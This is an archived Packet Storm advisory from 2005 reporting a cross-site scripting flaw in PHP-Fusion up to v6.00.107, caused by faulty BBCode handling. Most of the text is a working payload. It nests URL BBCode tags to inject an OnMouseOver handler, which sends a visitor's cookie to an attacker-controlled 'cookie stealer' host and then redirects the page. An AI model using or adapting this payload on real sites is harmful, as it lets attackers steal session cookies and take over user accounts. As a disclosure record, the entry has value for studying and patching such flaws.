phpfusionXSS2.txt

2005-08-31T00:00:00
ID PACKETSTORM:39699
Type packetstorm
Reporter slacker4ever_1
Modified 2005-08-31T00:00:00

Description

                                        
                                            `Hello we haved found a vulnerability in PHP-Fusion <=v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode.  
Well here is the exploit.  
  
[URL=http://aaaaaa.com/UR[url=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; location="http://google.com]][/URL][/url]  
`